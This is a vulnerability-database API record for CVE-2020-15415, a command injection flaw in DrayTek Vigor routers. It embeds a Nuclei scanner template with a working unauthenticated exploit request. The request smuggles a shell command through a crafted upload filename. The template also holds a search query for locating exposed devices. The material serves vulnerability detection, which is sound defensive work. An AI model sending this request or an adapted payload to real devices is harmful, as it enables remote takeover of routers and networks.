{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-15415/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-15415/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-15415/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-15415/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-15415/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-15415"},"sightings":{"href":"/api/v1/sightings/cve-2020-15415"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-15415.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-15415\n\ninfo:\n  name: DrayTek Vigor - Command Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    DrayTek Vigor devices contain a command injection vulnerability in the cvmcfgupload functionality. The vulnerability allows remote attackers to execute arbitrary commands through specially crafted requests to the /cgi-bin/mainfunction.cgi/cvmcfgupload endpoint.\n  impact: |\n    Unauthenticated attackers can execute arbitrary system commands on DrayTek Vigor devices via the cvmcfgupload endpoint, leading to complete device compromise and potential network infiltration.\n  remediation: |\n    Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.\n  reference:\n    - https://github.com/CLP-team/Vigor-Commond-Injection\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-15415\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-15415\n    cwe-id: CWE-78\n    epss-score: 0.8448\n    epss-percentile: 0.99689\n    cpe: cpe:2.3:h:draytek:vigor:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: draytek\n    product: vigor\n    fofa-query: '\"excanvas.js\" && \"lang == \\\"zh-cn\\\"\" && \"detectLang\" && server==\"DWS\"'\n  tags: cve,cve2020,draytek,rce,router,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\n\n        ------WebKitFormBoundary\n        Content-Disposition: form-data; name=\"abc\"; filename=\"t';id;echo '1_\"\n        Content-Type: text/x-python-script\n\n\n        ------WebKitFormBoundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)\n          - contains(header, 'DWS')\n          - status_code == 200\n        condition: and\n# digest: 4b0a00483046022100be1b05ddc85d79c50196bf61a1cc0049558a5d4381fd2a9d45c1c229fad0f979022100a5e9acc77d333e21d985477c1a7a4311840d82eaeed663cb6a3323ef010ee4e1:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-15415"}